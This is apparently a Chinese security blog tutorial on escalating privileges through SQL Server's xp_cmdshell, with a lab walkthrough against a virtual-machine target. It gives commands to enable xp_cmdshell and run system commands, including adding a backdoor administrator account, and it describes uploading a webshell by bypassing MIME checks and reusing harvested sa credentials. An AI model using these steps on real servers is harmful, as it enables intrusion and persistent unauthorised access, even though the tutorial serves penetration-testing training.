当前位置:网站首页>110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
2022-07-07 09:58:00 【qwsn】
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、Windows Sqlserver xp_cmdshell存储过程提权
1、XP_CMDSHELL提权背景:
如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,可以开启xp_cmdshell存储过程,以sqlserver的身份执行系统命令。但是不一定是系统权限,还要看管理员在一开始安装sqlserver的权限设置。
2、XP_CMDSHELL相关概念:
(1)xp_cmdshell存储过程【存储过程是:已预编译为一个可执行过程的一个或多个SQL语句的集合】,它是用来执行本机的cmd命令的,要求系统登陆有sa权限。默认情况下,sql server2005/2008在安装后,xp_cmdshell存储过程是禁用的,如果要使用它,可以按照以下语句开启:Exec sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;`
| 序号 | 命令 | 注释 |
|---|---|---|
| 1 | Exec sp_configure ‘show advanced options’,1; | #允许配置高级选项 |
| 2 | RECONFIGURE; | #重新配置 |
| 3 | EXEC sp_configure ‘xp_cmdshell’,1; | #启用xp_cmdshell存储过程 |
| 4 | RECONFIGURE; | #重新配置 |
(2)执行系统命令格式:
| 序号 | 命令 | 注释 |
|---|---|---|
| 1 | Exec master.dbo.xp_cmdshell ‘whoami’ | #查看当前用户 |
| 2 | Exec master.dbo.xp_cmdshell ‘net user’ | #查看所有用户 |
| 3 | Exec master.dbo.xp_cmdshell ‘systeminfo’ | #查看OS信息 |
| 4 | Exec master.dbo.xp_cmdshell ‘net user test 123 /add & net localgroup administrators test /add’ | #添加管理员组用户 |
(3)使用完了要及时禁用:Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
| 序号 | 命令 | 注释 |
|---|---|---|
| 1 | Exec sp_configure ‘show advanced options’,1; | #允许配置高级选项 |
| 2 | RECONFIGURE; | #重新配置 |
| 3 | EXEC sp_configure ‘xp_cmdshell’,0; | #禁用xp_cmdshell存储过程 |
| 4 | RECONFIGURE; | #重新配置 |
3、XP_CMDSHELL提权实战:
(1)实验环境:
1.靶机环境:
(1)虚拟机Windows2008【target_sys.com】【192.168.97.131】
(2)脚本语言环境:php/asp语言环境存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
(3)靶机链接:
URL:http://target_sys.com/upload.php
(3)实验过程:
第一步:访问靶机链接,利用MIME突破白名单类型限制,上传up.aspx大马
【以上过程略】以下进行提权过程:
第二步:连接up.aspx大马【密码为admin】,并且点击[File Manager]文件管理模块,进行查找sqlserver的帐号和密码
连接大马:
sqlserver的连接数据一般的存储位置:web.config、config.asp、conn.aspx、database.aspx,不过该环境下的实在旁站(www.demo1.com)下的index.aspx内存储了as用户密码:123456
第三步:点击[DataBase]数据库模块,使用刚刚得到的sa账号连接mssql,同时发现SQL SERVER版本为2008
xp_cmdshell存储过程是用来执行本机的cmd命令的,要求系统登陆有sa权限
第四步:SQLExec下拉框中选择Add xp_cmdshell(SQL2005)这个选项,开启xp_cmdshell存储过程

第五步:利用刚刚启用的xp_cmdshell存储过程,以sqlserver的身份去执行一些系统命令
由于查看当前权限也是一个普通用户,所以只可以执行一些基础的命令,也可以上传溢出提权工具 再来提高当前用户的权限。


边栏推荐
- CMU15445 (Fall 2019) 之 Project#2 - Hash Table 详解
- In depth learning autumn recruitment interview questions collection (1)
- 清华姚班程序员,网上征婚被骂?
- R語言使用magick包的image_mosaic函數和image_flatten函數把多張圖片堆疊在一起形成堆疊組合圖像(Stack layers on top of each other)
- SwiftUI 4 新功能之掌握 WeatherKit 和 Swift Charts
- LeetCode - 面试题17.24 最大子矩阵
- 【问道】编译原理
- SwiftUI Swift 内功之 Swift 中使用不透明类型的 5 个技巧
- MATLAB实现Huffman编码译码含GUI界面
- SwiftUI 教程之如何在 2 秒内实现自动滚动功能
猜你喜欢

How to write test cases for test coupons?
![[system design] index monitoring and alarm system](/img/8e/9c4c168f7f2b8e1f0786a5fe158544.png)
[system design] index monitoring and alarm system
![[filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]](/img/90/ef2400754cbf3771535196f6822992.jpg)
[filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]

About how to install mysql8.0 on the cloud server (Tencent cloud here) and enable local remote connection

Poor math students who once dropped out of school won the fields award this year

STM32F1与STM32CubeIDE编程实例-MAX7219驱动8位7段数码管(基于SPI)

Excel公式知多少?

SwiftUI 4 新功能之掌握 WeatherKit 和 Swift Charts

Flet教程之 19 VerticalDivider 分隔符组件 基础入门(教程含源码)

Unsupervised learning of visual features by contracting cluster assignments
随机推荐
STM32 entry development uses IIC hardware timing to read and write AT24C08 (EEPROM)
Onedns helps college industry network security
Talk about SOC startup (IX) adding a new board to uboot
【紋理特征提取】基於matlab局部二值模式LBP圖像紋理特征提取【含Matlab源碼 1931期】
Programming examples of stm32f1 and stm32subeide -315m super regenerative wireless remote control module drive
正在運行的Kubernetes集群想要調整Pod的網段地址
Mastering the new functions of swiftui 4 weatherkit and swift charts
请查收.NET MAUI 的最新学习资源
Talk about SOC startup (11) kernel initialization
Use metersphere to keep your testing work efficient
Learning notes | data Xiaobai uses dataease to make a large data screen
QT implements the delete method of the container
分布式数据库主从配置(MySQL)
QT | multiple windows share a prompt box class
Improve application security through nonce field of play integrity API
Android interview knowledge points
In my limited software testing experience, a full-time summary of automation testing experience
Apprentissage comparatif non supervisé des caractéristiques visuelles par les assignations de groupes de contrôle
Flet教程之 18 Divider 分隔符组件 基础入门(教程含源码)
R语言使用magick包的image_mosaic函数和image_flatten函数把多张图片堆叠在一起形成堆叠组合图像(Stack layers on top of each other)